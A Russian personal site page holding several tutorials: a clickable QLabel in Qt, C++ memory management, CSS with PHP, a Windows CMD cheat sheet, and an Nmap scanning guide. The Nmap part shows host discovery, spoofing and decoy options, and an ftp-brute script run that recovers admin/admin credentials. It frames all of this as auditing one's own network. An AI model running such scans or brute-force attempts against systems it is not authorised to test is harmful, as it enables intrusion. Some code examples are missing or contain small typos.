Погода в Сивомаскинском
Домой

Сисадмин

Девелопер

Мои программы

Фото

Qt: клик мышью по объекту.


Нередко возникают ситуации, когда нам необходимо узнать по какому объекту на экране кликнули мышью и после ожидать от этого объекта определенные действия. Но оригинальные объекты, созданные, например, с помощью класса QLabel, не имеют возможности реагировать на нажатия кнопок мышки. Как быть в такой ситуации и как определить по какому объекту кликнули? Это мы рассмотрим в данной статье.

Объект созданный на основе класса QLabel не испускает сигнала clicked(), соответственно не имеет возможности реагировать на нажатия кнопки мышки. Можно, конечно сделать объект на основе класса QPushButton, но тогда придется изрядно повозиться, чтобы сделать этот объект похожим на QLabel со всеми его методами и свойтвами.

К счастью в Qt есть мощный механизм сигналов и слотов, который позволяет не только пользоваться готовыми возможностями, но и легко добавлять обработку событий, которых нет в некоторых классах Qt.

Для наглядности напишем программу, где в окне расположим три текстовые метки QLabel разных цветов (синяя, красная и зеленая), а в четвертой метке, которая представляет собой простое текстовое поле будем выводить результат, по какому объекту кликнули мышью, при чем после клика выбранный объект будет уничтожаться.

Итак, создадим файл main.cpp.

 

main.cpp:

#include "mainwindow.h"

#include <QApplication>

int main(int argc, char *argv[])

{

QApplication a(argc, argv);

MainWindow w;

w.show();

return a.exec();

}

 

Теперь мы напишем свой класс-наследник QLabel, реагирующий на клики мышки.

 Пишем заголовочный файл:

mylabel.h:

#ifndef MYLABEL_H

#define MYLABEL_H

#include <QObject>

#include <QWidget>

#include <QLabel>

#include <QMouseEvent>

class MyLabel : public QLabel // Наследуемся от класса QLabel

{

Q_OBJECT

public:

explicit MyLabel(QWidget *parent = nullptr);

signals:

void clicked(QMouseEvent *); // Предусматриваем обработку сигнала clicked()

private:

protected:

void mousePressEvent (QMouseEvent *event);

};

endif // MYLABEL_H

 

Назовем наш класс — MyLabel и унаследуем его от класса QLabel. В файле mylabel.h предусматриваем обработку сигнала clicked(), а также обработку событий мыши mousePressEvent(QMouseEvent *event). Теперь напишем файл mylabel.cpp.

 

mylabel.cpp:

#include "mylabel.h"

MyLabel::MyLabel(QWidget *parent)

: QLabel{parent}

{}

void MyLabel::mousePressEvent(QMouseEvent *event)

{

emit clicked(event);

}

 

В файле mylabel.cpp мы написали обработчик событий мыши при нажатии клавиши mousePressEvent(QMouseEvent *event), который искусственно посылает сигнал clicked().

Вот, в принципе, и вся хитрость. Теперь попробуем всё это применить в нашей программе с кликом по меткам разных цветов. Напишем заголовочный файл mainwindow.h.

 

mainwindow.h:

#ifndef MAINWINDOW_H

#define MAINWINDOW_H

#include <QMainWindow>

#include "mylabel.h"

class MainWindow : public QMainWindow

{

Q_OBJECT

public:

MainWindow(QWidget *parent = nullptr);

~MainWindow();

private:

MyLabel *redLabel = nullptr; // Красная метка

MyLabel *greenLabel = nullptr; // Зеленая метка

MyLabel *blueLabel = nullptr; // Синяя метка

MyLabel *textLabel = nullptr; // Поле где будут выводится сообщения

};

#endif // MAINWINDOW_H

 

Теперь напишем файл mainwindow.cpp, где реализуем всё задуманное. По клику мышки по метке, она будет уничтожена, а в текстовом поле будет выведена информация о том метка какого цвета была уничтожена. Если кликнем по текстовому полю, то будет выведена соответствующая этому информация.

 

mainwindow.cpp:

#include "mainwindow.h"

MainWindow::MainWindow(QWidget *parent)

: QMainWindow(parent)

{

this->resize(640,480); // Изменяем размеры окна

// Создаем красную метку

redLabel = new MyLabel(this);

redLabel->resize(100,100);

redLabel->move(50,300);

redLabel->setStyleSheet("background-color: red;");

redLabel->show();

// Создаем зеленую метку

greenLabel = new MyLabel(this);

greenLabel->resize(100,100);

greenLabel->move(250,300);

greenLabel->setStyleSheet("background-color: green;");

greenLabel->show();

// Создаем синюю метку

blueLabel = new MyLabel(this);

blueLabel->resize(100,100);

blueLabel->move(450,300);

blueLabel->setStyleSheet("background-color: blue;");

blueLabel->show();

// Создаем текстовое поле для вывода информации

textLabel = new MyLabel(this);

textLabel->resize(400,60);

textLabel->move(120, 100);

textLabel->setStyleSheet("background-color: lightyellow; font-size: 16px;");

textLabel->show();

 // Обрабатываем сигналы clicked() испускаемые метками в лямбда функции

connect(redLabel, &MyLabel::clicked, this, [this]()

{

delete redLabel;

redLabel = nullptr;

textLabel->setText("Уничтожена красная метка !!!");

});

connect(greenLabel, &MyLabel::clicked, this, [this]()

{

delete greenLabel;

greenLabel = nullptr;

textLabel->setText("Уничтожена зеленая метка !!!");

});

connect(blueLabel, &MyLabel::clicked, this, [this]()

{

delete blueLabel;

blueLabel = nullptr;

textLabel->setText("Уничтожена синяя метка !!!");

});

connect(textLabel, &MyLabel::clicked, this, [this]()

{

textLabel->setText("Вы кликнули по текстовому полю !!!");

});

}

MainWindow::~MainWindow()

{

delete textLabel;

textLabel = nullptr;

delete blueLabel;

blueLabel = nullptr;

delete greenLabel;

greenLabel = nullptr;

delete redLabel;

redLabel = nullptr;

}

 

Вот и всё, ниже приводятся скрины результата работы программы:

Поочередно кликаем мышкой по зеленой метке, текстовому полю, красной метке, синей метке:

 

Окно программы:

Кликаем по зеленой метке:

Кликаем по текстовому полю:

Кликаем по красной метке:

Кликаем по синей метке:

 

 
Фото

NMAP - инструмент сканирования сети


Nmap - это очень популярный сканер сети с открытым исходным кодом, который может использоваться как в Windows, так и в Linux. Программа Nmap или Network Mapper была разработана Гордоном Луоном и на данный момент используется специалистами по безопасности и системными администраторами по всему миру.

Nmap, или Network Mapper, — это бесплатный инструмент с открытым исходным кодом, созданный для сканирования сетей, портов и сервисов. За несколько десятилетий своего существования Nmap стал практически стандартом в области анализа сети. С его помощью можно находить активные хосты, открытые порты, выяснять версию сервисов и даже определять операционные системы.

Как правило, Nmap запускается в терминале или командной строке и предлагает широкий спектр команд и опций. Изначально инструмент создавался для специалистов по безопасности, однако его возможности привлекают не только «белых» хакеров и системных администраторов, но и любителей, желающих разобраться в устройстве сетей.

Эта программа помогает системным администраторам очень быстро понять какие компьютеры подключены к сети, узнать их имена, а также посмотреть какое программное обеспечение на них установлено, какая операционная система и какие типы фильтров применяются. Функциональность программы может быть расширена за счет собственного скриптового языка, который позволяет администраторам автоматизировать много действий.

Например, с помощью скриптов можно автоматически обнаруживать новые уязвимости безопасности в вашей сети. Nmap может использоваться с хорошими и плохими намерениями, будьте аккуратны, чтобы не использовать nmap против закона. В этой статье мы рассмотрим как пользоваться nmap для сканирования портов в операционной системе Linux, хотя всё это применимо и в Windows.

Какие задачи решает Nmap

Прежде чем приступить к практике, давайте кратко перечислим, для чего вообще используют Nmap:

  • Сканирование портов: поиск открытых, фильтрованных и закрытых портов на хостах.
  • Определение операционной системы: на основе особенностей сетевых ответов Nmap пытается угадать, под управлением какой ОС работает цель.
  • Аудит безопасности: выявление уязвимых служб и потенциально опасных конфигураций.
  • Картирование сети: определение топологии сети, построение карты устройств, анализ пропускных способностей.
  • Выявление сервисов и их версий: Nmap может «допрашивать» сервисы для определения их версии и сопутствующих сведений, например названия ПО или номера сборки.
  • Автоматизация сканирования: благодаря встроенному механизму скриптов (NSE – Nmap Scripting Engine) можно проводить целый комплекс проверок.

За счет этого набора функций Nmap занимает одну из ключевых позиций в наборе инструментов, предназначенных для безопасности сети.

Установка и базовые требования

Перед тем как переходить к освоению команд, нужно установить Nmap. К счастью, это довольно просто, вне зависимости от используемой операционной системы.

Установка в Linux

Если вы используете популярные дистрибутивы на основе Debian/Ubuntu, достаточно ввести в терминале:

sudo apt-get update sudo apt-get install nmap

На CentOS, Fedora или RHEL:

sudo yum install nmap

Установка в macOS

Если у вас установлен пакетный менеджер Homebrew, то команда будет выглядеть так:

brew install nmap

Установка в Windows

Для Windows Nmap доступен в виде установочного пакета (.exe), который можно скачать с официального сайта. После установки сканер будет готов к использованию в командной строке (cmd или PowerShell).

После инсталляции проверьте корректность выполнения, набрав:

nmap -V

Если вы видите версию и лицензионную информацию — все установлено правильно.

Как работает Nmap?

В компьютерных сетях все подключенные устройства имеют свой ip адрес. Каждый компьютер поддерживает протокол ping, с помощью которого можно определить подключен ли он к сети. Мы просто отправляем ping запрос компьютеру, и если он отзывается, то считаем, что он подключен. Nmap использует немного иной подход. Компьютеры также определенным образом реагируют на те или иные сетевые пакеты, утилита просто отправляет нужные пакеты и смотрит какие хосты прислали ответ.

Но об этом вы, наверное, уже знаете. Более интересно то как Nmap узнает какие сервисы запущены на машине. Суть работы всех сетевых программ основана на портах. Чтобы получить сообщение из сети, программа должна открыть порт на вашем компьютере и ждать входящих соединений. А для отправки сообщения по сети нужно подключиться к уже другой программой (адресатом) порту. Затем программе необходимо будет открыть порт, на котором она будет ждать ответа.

Утилита nmap в процессе сканирования сети перебирает доступный диапазон портов и пытается подключиться к каждому из них. Если подключение удалось, в большинстве случаев, передав несколько пакетов программа может даже узнать версию программного обеспечения, которые ожидает подключений к этому порту. Теперь, после того, как мы рассмотрели основы, рассмотрим как пользоваться nmap для сканирования портов и сети.

Синтаксис Nmap

Команда запуска Nmap очень проста для этого достаточно передать ей в параметрах целевой IP адрес или сеть, а также указать опции при необходимости:

$ nmap опции адрес

Теперь давайте рассмотрим основные опции, которые понадобятся нам в этой статье.

  • -sL - просто создать список работающих хостов, но не сканировать порты nmap;
  • -sP - только проверять доступен ли хост с помощью ping;
  • -PN - считать все хосты доступными, даже если они не отвечают на ping;
  • -sS/sT/sA/sW/sM - TCP сканирование;
  • -sU - UDP сканирование nmap;
  • -sN/sF/sX - TCP NULL и FIN сканирование;
  • -sC - запускать скрипт по умолчанию;
  • -sI - ленивое Indle сканирование;
  • -p - указать диапазон портов для проверки;
  • -sV - детальное исследование портов для определения версий служб;
  • -O - определять операционную систему;
  • -T[0-5] - скорость сканирования, чем больше, тем быстрее;
  • -D - маскировать сканирование с помощью фиктивных IP;
  • -S - изменить свой IP адрес на указанный;
  • -e - использовать определенный интерфейс;
  • --spoof-mac - установить свой MAC адрес;
  • -A - определение операционной системы с помощью скриптов.

Теперь, когда мы рассмотрели все основные опции, давайте поговорим о том, как выполняется сканирование портов nmap.

Как пользоваться Nmap для сканирования портов в Linux

Дальше рассмотрим примеры nmap. Сначала давайте рассмотрим как найти все подключенные к сети устройства, для этого достаточно использовать опцию -sL и указать маску нашей сети. в моем случае это 192.168.1.1/24. Маску вашей локальной сети вы можете найти, выполнив команду:

                $   ip addr show

 

Из вывода для используемого интерфейса возьмите число после слеша, а до слэша укажите ip вашего роутера. Команда на сканирование сети nmap будет выглядеть вот так:

        $   nmap -sL 192.168.1.1/24

 

 

Иногда это сканирование может не дать никаких результатов, потому что некоторые операционные системы имеют защиту от сканирования портов. Но это можно обойти, просто использовав для сканирования ping всех ip адресов сети, для этого есть опция -sn:

        $   nmap -sn 192.168.1.1/24

 

 

Как видите, теперь программа обнаружила активные устройства в сети. Дальше мы можем сканировать порты nmap для нужного узла запустив утилиту без опций:

        $   sudo nmap 192.168.1.1

 

 

Теперь мы можем видеть, что у нас открыто несколько портов, все они используются каким-либо сервисом на целевой машине. Каждый из них может быть потенциально уязвимым, поэтому иметь много открытых портов на машине небезопасно. Но это еще далеко не все, что вы можете сделать, дальше вы узнаете как пользоваться nmap.

Чтобы узнать более подробную информацию о машине и запущенных на ней сервисах вы можете использовать опцию -sV. Утилита подключится к каждому порту и определит всю доступную информацию:

        $   sudo nmap -sV 192.168.1.1

 

 

На нашей машине запущен ftp, а поэтому мы можем попытаться рассмотреть эту службу подробнее с помощью стандартных скриптов nmap. Скрипты позволяют проверить порт более детально, найти возможные уязвимости. Для этого используйте опцию -sC и -p чтобы задать порт:

        $   sudo nmap -sC 192.168.56.102 -p 21

Мы выполняли скрипт по умолчанию, но есть еще и другие скрипты, например, найти все скрипты для ftp вы можете командой:

        $   sudo find /usr/share/nmap/scripts/ -name '*.nse' | grep ftp

Затем попытаемся использовать один из них, для этого достаточно указать его с помощью опции --script. Но сначала вы можете посмотреть информацию о скрипте:

        $   sudo nmap --script-help ftp-brute.nse

 

 

Этот скрипт будет пытаться определить логин и пароль от FTP на удаленном узле. Затем выполните скрипт:

        $   sudo nmap --script ftp-brute.nse 192.168.1.1 -p 21

 

 

В результате скрипт подобрал логин и пароль, admin/admin. Вот поэтому не нужно использовать параметры входа по умолчанию.

Также можно запустить утилиту с опцией -A, она активирует более агрессивный режим работы утилиты, с помощью которого вы получите большую часть информации одной командой:

        $   sudo nmap -A 192.168.1.1

 

 

Обратите внимание, что здесь есть почти вся информация, которую мы уже видели раньше. Ее можно использовать чтобы увеличить защиту этой машины.

Выводы

В этой статье мы рассмотрели как выполняется сканирование портов nmap, а также несколько простых примеров использования этой утилиты. Эти команды nmap могут быть полезными многим системным администраторам, чтобы улучшить безопасность их систем. Но это далеко не все возможности утилиты. Продолжайте экспериментировать с утилитой чтобы узнать больше только не в чужих сетях!

 

 

Источник:    losst.pro

 

 

 


Фото

Управление памятью в C++


Управление памятью в C++ невероятно эффективно для оптимизации производительности, особенно когда речь идёт о крупных приложениях. Сегодня мы поговорим о преимуществах управления памятью в C++ и познакомим вас с базовыми принципами управления памятью в C++.

Краткое введение в управление памятью

Управление памятью контролирует то, как программа использует память компьютера. Во время выполнения каждая компьютерная программа использует оперативную память (то есть ОЗУ) для хранения временных переменных, структур данных и т. д. Управление использованием памяти включает в себя как выделение, так и освобождение памяти. Выделение памяти — это выделение части оперативной памяти по запросу программы. Освобождение памяти — это освобождение памяти, которая больше не нужна программе.

Язык программирования может использовать один из двух подходов к управлению памятью:

  • Автоматическое управление памятью (например, в Java, Python, C#)
  • Динамическое управление памятью (например, в C++, C)

C++ поддерживает динамическое управление памятью, то есть вы, как программист, отвечаете за выделение и освобождение памяти. С другой стороны, автоматическое управление памятью означает, что язык программирования автоматизирует этот процесс, выделяя и освобождая память за вас.

Многим программистам удобно работать с автоматическим управлением памятью. У него, безусловно, есть свои преимущества, такие как сокращение времени разработки и устранение риска возникновения ошибок, связанных с памятью. Однако автоматическое управление памятью требует больше ресурсов. В основном это связано с тем, что освобождение памяти выполняется за вас программой под названием сборщик мусора, которая потребляет как память, так и ресурсы процессора. Поэтому автоматическое управление памятью может негативно сказаться на производительности приложений, особенно крупных приложений с ограниченными ресурсами.

Несмотря на то, что это приводит к увеличению времени разработки, динамическое управление памятью позволяет адаптировать потребление памяти приложением и создавать высокопроизводительные приложения. Динамическое управление памятью — единственный возможный вариант, если вы работаете с устройствами с ограниченными ресурсами, например со встроенными устройствами. Оно также важно для поддержания высокой производительности в системах реального времени, поэтому C++ часто используется в разработке игр. Таким образом, язык C++ становится отличным выбором для ситуаций, когда важны производительность и небольшой объём используемой памяти.

Vногие люди до сих пор не решаются изучать динамическое управление памятью в C++. Помимо сложности освоения, существует реальный риск использования неправильных методов, которые могут привести к таким ошибкам, как утечка памяти (о чём мы вскоре поговорим). В некоторых случаях ошибки могут привести к ещё более серьёзным последствиям. Однако не стоит избегать изучения этого ценного навыка. В языке C++ реализовано несколько защитных механизмов и мер безопасности, которые помогают снизить риски, связанные с манипулированием аппаратным обеспечением. Если у вас будет достаточно практики, вы научитесь безопасно использовать управление памятью для прямого взаимодействия с аппаратным обеспечением компьютера и создания высокопроизводительных приложений.

Начало работы с управлением памятью в C++

Основы модели памяти C++

Каждое слово (или блок) памяти обычно состоит из двух, четырёх или восьми байт в зависимости от аппаратной архитектуры. В нашей программе на C++ мы можем обратиться к блоку по его числовому адресу. Адрес первого блока равен 0, а адрес последнего блока зависит от объёма памяти вашего компьютера. На рисунке ниже изображён блок памяти.

 

 

В C++ мы можем разделить память программы на три части:

  1. Статическая область, в которой хранятся статические переменные. Статические переменные — это переменные, которые используются на протяжении всего выполнения программы. Размер статической области не меняется во время выполнения программы на C++.

  2. Стек, в котором хранятся фреймы стека. Для каждого вызова функции создаётся новый фрейм стека. Фрейм стека — это блок данных, который содержит локальные переменные соответствующей функции и уничтожается (выталкивается) при возврате из функции.

  3. Куча, в которой хранится динамически выделяемая память. Для оптимизации использования памяти куча и стек обычно растут навстречу друг другу, как показано на следующем рисунке.

 

 

Мы сосредоточимся на выделении и освобождении памяти в куче.

В C++ блок памяти — это непрерывный массив байтов, где каждый байт имеет уникальный адрес.

Мы можем управлять памятью в C++ с помощью двух операторов:

  • new оператор для выделения блока памяти в куче
  • delete оператор для освобождения блока памяти из кучи

В следующем примере кода мы используем два наших оператора для выделения и освобождения памяти:

 

 

Теперь давайте разберёмся, что происходит в предыдущем коде:

  1. new Оператор резервирует место в памяти, где может храниться целое число C++ (то есть 4 байта). Затем он возвращает адрес вновь выделенной памяти.
  1. Мы создаём указатель ptr для хранения адреса памяти, возвращаемого оператором new .

 

 

  1. Мы сохраняем целочисленное значение по вновь выделенному адресу памяти с помощью *ptr=5.

 

 

  1. Мы выводим на экран адрес памяти, в котором хранится целое число, и значение целого числа, хранящееся в этой ячейке памяти.
  1. Наконец, мы освобождаем блок памяти, зарезервированный с помощью new использования delete оператора.

 

 

Безопасное использование управления памятью в C++

Использование операторов new и delete требует некоторой осторожности. Они могут привести к ошибкам в работе с памятью. Однако мы можем использовать умные указатели, которые помогут нам более безопасно управлять памятью.

Распространённые ошибки при управлении памятью

При динамическом управлении памятью можно столкнуться с двумя распространёнными ошибками в коде: утечкой памяти и ошибкой сегментации.

Утечки памяти возникают, когда память не освобождается даже после того, как она больше не нужна. Это может привести к тому, что программе не хватит доступной памяти.

 

 

В этом примере кода функция memLeak() выделяет память, но эта память не освобождается. После возврата из функции выделенная память продолжает использоваться, даже если к ней нет доступа.

Ошибка сегментации — ещё одна известная ошибка, связанная с динамическим управлением памятью. Эта ошибка возникает, когда программа обращается к ячейке памяти, которая ей не выделена и не находится в адресном пространстве программы. Адресное пространство — это область памяти, в которой программе разрешено выделять память.

Следующая программа генерирует ошибку сегментации, как только заканчивается адресное пространство:

 

 

Обратите внимание, что ptr++ увеличивает адрес, хранящийся в указателе. Поскольку цикл while выполняется непрерывно, вскоре указатель будет указывать на область за пределами адресного пространства программы, что приведёт к ошибке сегментации. Чтобы избежать ошибок сегментации, мы должны убедиться, что программа не обращается к области памяти, которая ей не выделена.

 

Предотвращение ошибок с помощью умных указателей

 

В C++ предусмотрены различные типы интеллектуальных указателей. Мы называем эти указатели «интеллектуальными», потому что они автоматически освобождаются без явных указаний программиста или сборщика мусора. Хотя интеллектуальные указатели требуют больше ресурсов для работы и занимают больше памяти, чем классические указатели, они помогают уменьшить количество утечек памяти.

Мы немного поговорим об уникальных и общих указателях, а также о некоторых ограничениях интеллектуальных указателей.

Уникальные указатели

Уникальные указатели unique_ptr являются указателями области видимости. Как указатель области видимости, уникальный указатель на определённый объект автоматически освобождается, когда указатель выходит за пределы области видимости.

В качестве примера рассмотрим следующий код, в котором показан уникальный указатель на объект MyClass, созданный в блоке if. Таким образом, областью видимости указателя является блок if. Указатель автоматически освобождается в конце блока if.

 

 

Как следует из их названия, уникальные указатели нельзя копировать. При копировании указателей создаётся несколько указателей на один и тот же объект. Когда любой из этих указателей выходит за пределы области видимости, объект удаляется. Оставшиеся указатели перестают указывать на действительный объект (мы называем их висячими указателями).

На следующем рисунке std::move переключает владение объектом с одного указателя на другой.

 

 

Вместо копирования мы можем использовать функцию std::move для безопасной передачи права владения текущим указателем другому. std::move показано на предыдущем рисунке. Это можно понять из следующего кода, в котором мы передали право владения объектом MyClass от указателя ptr к ptr2. Будьте осторожны: чтобы избежать ошибки сегментации, предыдущий указатель нельзя использовать после передачи права владения.

В следующем коде показано, как безопасно передать право собственности с помощью функции std::move:

 

 

Общие указатели

Общий указатель std::shared_ptr использует подсчёт ссылок для освобождения памяти. В отличие от уникальных указателей, общий указатель позволяет нескольким указателям указывать на один и тот же объект. Общий указатель ведёт подсчёт каждого указателя, который всё ещё находится в области видимости. Когда указатель выходит из области видимости, счётчик уменьшается. Таким образом, объект автоматически удаляется, когда счётчик ссылок достигает нуля.

На следующем рисунке показан общий указатель с количеством ссылок, равным двум:

 

Следующий код показывает, что разделяемые указатели похожи на уникальные указатели, за исключением того, что они позволяют создавать несколько копий указателя и безопасно удалять объект только тогда, когда все указатели выходят за пределы области видимости.
 
 
 

Ограничения интеллектуальных указателей

Умные указатели помогают уменьшить количество утечек памяти и освободить память. Однако они не избавляют нас полностью от необходимости вручную освобождать память. Например, на устройстве с ограниченными ресурсами нам может потребоваться вручную освободить память сразу после её последнего использования, даже до того, как указатель выйдет из области видимости.

Следующий код удаляет смарт-указатель вручную:

 

 

Хотя интеллектуальные указатели снижают вероятность утечек памяти, они не устраняют их полностью. Например, если мы используем циклические общие указатели, наш счётчик ссылок никогда не будет равен нулю, и память никогда не будет освобождена автоматически. В такой ситуации мы должны либо полностью отказаться от интеллектуальных указателей, либо вручную освобождать память, на которую они указывают.

В следующем примере кода показано использование циклических указателей, при котором общие указатели не могут автоматически освобождать память:

 

 

Используйте все возможности C++ с помощью управления памятью. Хотя на обучение этому навыку требуется некоторое время, управление памятью в C++ — особенно ценный навык для программиста, особенно в свете того, что мы продолжаем двигаться в сторону распределённых систем.
Фото

Как использовать CSS с PHP


Узнайте о различных способах добавления каскадных таблиц стилей (CSS) на ваш сайт с помощью PHP — с примерами кода.

На веб-сайтах, работающих на PHP, HTML-разметка, таблицы стилей CSS и скрипты JavaScript хранятся в PHP-файлах.

Любой код, не заключённый в тег PHP (то есть <?php ?>), не обязательно должен соответствовать синтаксису PHP и будет выведен как статический код в HTML-документе, который сервер генерирует в ответ на запрос браузера.

С другой стороны, код, заключённый в тег PHP, должен соответствовать синтаксису языка PHP и будет динамически выводиться в HTML-файл, загружаемый браузером пользователя.

Другими словами, существует статический и динамический способы добавления CSS с помощью PHP. В оставшейся части статьи мы рассмотрим оба способа.

Статическое добавление CSS с помощью PHP

В PHP-файле вы можете встроить CSS-код в атрибут style="" HTML-элементов, встроить его в тег <style type="text/css"> в заголовке или сослаться на него в теге <link rel="stylesheet">, и он будет выведен без изменений.

Следующий PHP-файл:

<!doctype html>
<html>
    <head>
        <style>
            font-size: 42px;
        </style>
        <link rel="stylesheet" href="style.css">
    </head>
    <body>
        <h1 style="color:blue">Hello, world!</h1>
    </body>
</html>


В результате получится следующая HTML-разметка:

<!doctype html>
<html>
    <head>
        <style>
            font-size: 42px;
        </style>
        <link rel="stylesheet" href="style.css">
    </head>
    <body>
        <h1 style="color:blue">Hello, world!</h1>
    </body>
</html>

Однако это предполагает, что вы пишете только HTML/CSS-код и сохраняете его в PHP-файле. В этом случае вы не используете возможности PHP для динамического изменения вашего сайта.

Динамическое добавление CSS с помощью PHP

Теперь, когда мы рассмотрели статический способ, давайте уделим пару минут обсуждению того, как динамически добавлять CSS-код в HTML-документ.

Одна из многих возможностей PHP — объявление переменных и сохранение в них информации. Затем вы можете ссылаться на эти переменные в echo операторах PHP, чтобы вывести сохранённую в них информацию на экран.

Например, вы можете сохранить значения свойств CSS в переменных PHP, а затем вывести их в HTML-файлах на стороне клиента, чтобы динамически генерировать код CSS при каждом запросе.

 

<?php
$h1_size = "42px";
$h1_color = "blue";
$stylesheet_url = "style.css";
?>
<!doctype html>
<html>
    <head>
    <?php
    echo "<style>
            font-size: {$h1_size}};
        </style>"
        ?>
        <?php
        $url = "style.css";
        echo "<link rel='stylesheet' href='{$stylesheet_url}'>";
        ?>
    </head>
    <body>
        <h1 <?php echo "style='color:blue'" ?>>Hello, world!</h1>
    </body>
</html>
 
 
Результат будет таким же, как в статическом примере, приведённом несколькими абзацами выше. Но разница в том, что вы можете задавать значения в коде CSS и повторно использовать их в правилах CSS.
 

<!doctype html>
<html>
    <head>
        <style>
            font-size: 42px;
        </style>
        <link rel="stylesheet" href="style.css">
    </head>
    <body>
        <h1 style="color:blue">Hello, world!</h1>
    </body>
</html>

 

Пока всё идёт хорошо.

Но настоящая сила PHP,  заключается в его функциях.

Например, вы можете создать функцию для генерации элемента <link> с атрибутами rel=”” и href=””, хранящимися в переменных:

 

<?php
    // Define the linkResource() function
    function linkResource($rel, $href) {
        echo "<link rel='{$rel}' href='{$href}'>";
    }
?>


С помощью этой функции вы можете подключить любую внешнюю таблицу стилей CSS или JS-скрипт.

Обратите внимание на использование одинарных и двойных кавычек. Если в вашем PHP-коде используются двойные кавычки, то для HTML-кода в операторах echo нужно использовать одинарные кавычки, и наоборот.

Если вы вызовете функцию linkResource() в любом месте вашего PHP-файла со следующими параметрами:

// Call the linkResource() function
<?php linkResource("stylesheet", "/css/style.css"); ?>


Он выведет элемент DOM <link> с указанными параметрами в HTML-файл на стороне клиента:

<link rel="stylesheet" href="/css/style.css">


Вот как это выглядит на практике. Ниже приведён PHP-файл на стороне сервера:

 

<?php
    function linkResource($rel, $href) {
        echo "<link rel='{$rel}' href='{$href}'>";
    }
?>
<!doctype html>
<html>
    <head>
        <?php linkResource("stylesheet", "/css/normalize.css"); ?>
        <?php linkResource("stylesheet", "/css/style.css"); ?>
    </head>
    <body>
        <h1>Hello, world!</h1>
    </body>
</html>


Ниже будет выведен HTML-файл на стороне клиента:

 

<!doctype html>
<html>
    <head>
        <link rel='stylesheet' href='/css/normalize.css'>
        <link rel='stylesheet' href='/css/style.css'>
    </head>
    <body>
        <h1>Hello, world!</h1>
    </body>
</html>

В заключение

 

Есть два способа добавить CSS-код с помощью PHP. Первый — статический, то есть жёсткое кодирование в PHP-файлах, а второй — динамический, то есть генерация с помощью функций и переменных.

Теперь, когда вы знаете, как использовать оба инструмента, вы можете выбрать тот, который подходит для вашего проекта, в зависимости от потребностей и требований.

 

Источник: https://makersaid.com

 


Фото

Шпаргалка по CMD командам в Windows


Командная строка Windows (CMD) — мощный инструмент, который предоставляет доступ к широкому набору команд для выполнения различных задач, от работы с файлами до настройки сети и автоматизации процессов.  В статье рассмотрим 100 популярных команд CMD, которые пригодятся как новичкам, так и опытным пользователям. Для удобства они разделены по категориям. 

 

Общие команды CMD

Общие команды командной строки (CMD) позволяют пользователям управлять ОС Windows через интерфейс командной строки. Они нацелены на различные задачи – от получения справочной информации до управления процессами. 

  • hel — выводит список всех доступных команд и их краткое описание, что полезно для получения информации о базовых командах.
  • cls — очищает экран командной строки. Если в окне CMD много текста, этой командой можно убрать весь вывод и начать работу «с чистого листа».
  • exit — завершает текущую сессию командной строки и закрывает окно CMD.
  • echo — выводит сообщения в консоль или включает/выключает отображение команд в пакетных файлах – echo Hello, World! выведет Hello, World! на экран.
  • ver — отображает версию операционной системы Windows.
  • title — изменяет заголовок окна командной строки. Например, title Моя Командная Строка изменит заголовок на «Моя Командная Строка».
  • pause — временно приостанавливает выполнение скрипта, но при нажатии любой клавиши можно продолжить работу.
  • date — позволяет узнать или изменить текущую дату в системе.
  • time — отображает или изменяет текущее время в системе.
  • tasklist — выводит список всех запущенных процессов с их PID (идентификатором процесса).
  • powercfg — управляет настройками энергопотребления и профилями питания. 
  • fc — сравнивает два файла и отображает их различия. 

Сетевые команды CMD

В разделе собраны основные сетевые команды CMD, которые помогут управлять подключениями, диагностировать сетевые проблемы и выполнять разнообразные операции с сетью. Они незаменимы для системных администраторов и пользователей, нуждающихся в решении сетевых задач. 

  • ping — проверяет связь с удаленным узлом, отправляя ему пакеты данных. Например, ping google.com проверит доступность сервера Google.
  • ipconfig — отображает конфигурацию сетевых интерфейсов системы (IP-адреса, маску подсети и шлюзы).
  • netstat — выводит информацию о сетевых соединениях и открытых портах
  • netstat -an — показывает все активные соединения.
  • tracert — отслеживает маршрут пакета до целевого узла – tracert yandex.ru покажет все узлы, через которые проходит запрос.
  • nslookup — используется для проверки информации о DNS-серверах.
  • nslookup example.com — отображает IP-адрес сайта example.com.
  • arp — выводит или изменяет записи ARP (Address Resolution Protocol) –: arp -a покажет текущие записи ARP.
  • route — управляет таблицей маршрутизации сети – route print выведет все существующие маршруты в системе.
  • net use — подключает сетевые диски. Например, net use Z: \\server\folder подключит сетевой ресурс как диск Z:.
  • netsh — позволяет настраивать различные параметры сети через командную строку.
  • netsh wlan show profiles — отображает сохраненные профили Wi-Fi.

Команды для управления процессами

Команды ниже позволяют эффективно управлять процессами и службами на вашем ПК: помогают запускать службы, планировать задачи, управлять активными процессами, а также выключать или перезагружать систему. С их помощью можно автоматизировать выполнение задач, получать информацию о состоянии системы и контролировать её работоспособность. 

  • sc — управляет службами Windows. Пример: sc start servicename запустит службу с именем servicename.
  • schtasks — управляет планировщиком задач. Так, schtasks /create /tn «Моя Задача» /tr notepad.exe /sc once /st 12:00 создаст задачу для запуска.
  • start — запускает программу или команду в новом окне. Например, start notepad откроет блокнот.
  • wmic — взаимодействует с системой через Windows Management Instrumentation – wmic process list brief покажет список процессов.
  • shutdown — выключает, перезагружает или завершает работу системы. Так, shutdown /s /f /t 0 немедленно выключит компьютер.
  • systeminfo — выводит информацию о системе, включая версию Windows, параметры оборудования и установленные обновления.

Команды для управления файловой системой

Команды для управления файловой системой в CMD позволяют работать с файлами и папками: просматривать содержимое директорий, перемещаться между папками, создавать и удалять файлы и каталоги, копировать данные с использованием различных опций. 

  • dir — отображает список файлов и каталогов в указанной директории. Пример: dir C:\Windows выведет содержимое папки Windows.
  • cd — меняет текущий каталог. Так, cd C:\Users перейдет в папку пользователей.
  • md NewFolder — создает новую папку. 
  • rd — удаляет пустую папку. Пример: rd NewFolder удалит папку NewFolder.
  • copy — копирует файлы из одного места в другое.
  • move — перемещает файлы или папки.
  • del — удаляет файлы. Например, del file.txt удалит файл file.txt.
  • xcopy — копирует файлы и директории, включая их структуру. Так, xcopy C:\Source D:\Destination /s /e скопирует все файлы и папки из Source в Destination.
  • robocopy — более продвинутая версия xcopy, используется для надежного копирования данных. Например, robocopy C:\Source D:\Destination /mir синхронизирует две папки.

Команды для управления пользователями

Команды для управления пользователями предоставляют средства для администрирования учетных записей, настройки групповых прав и управления политиками безопасности. А также позволяют администраторам эффективно управлять пользователями в системе, добавлять новых пользователей, изменять их права и настраивать параметры учетных записей.

  • net user — управляет учетными записями пользователей.
  • net user UserName /add — добавляет нового пользователя с именем UserName.
